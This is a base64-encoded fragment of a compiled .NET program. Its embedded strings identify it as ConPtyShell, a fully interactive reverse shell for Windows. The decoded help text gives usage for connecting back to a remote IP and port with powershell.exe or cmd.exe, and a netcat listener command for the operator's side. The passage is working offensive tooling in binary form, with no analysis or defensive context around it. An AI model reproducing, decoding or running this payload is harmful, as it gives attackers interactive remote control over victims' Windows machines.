oZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5ADAADQAKACAAIAAgACAAIAAgACAAIAANAAoAAQCFFfXwqfXoQ5E0u4zYFZOLAAi3elxWGTTgiQIGDjRbAC0AXQAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgA6ACAAAyAAAQQgAQEOAgY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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA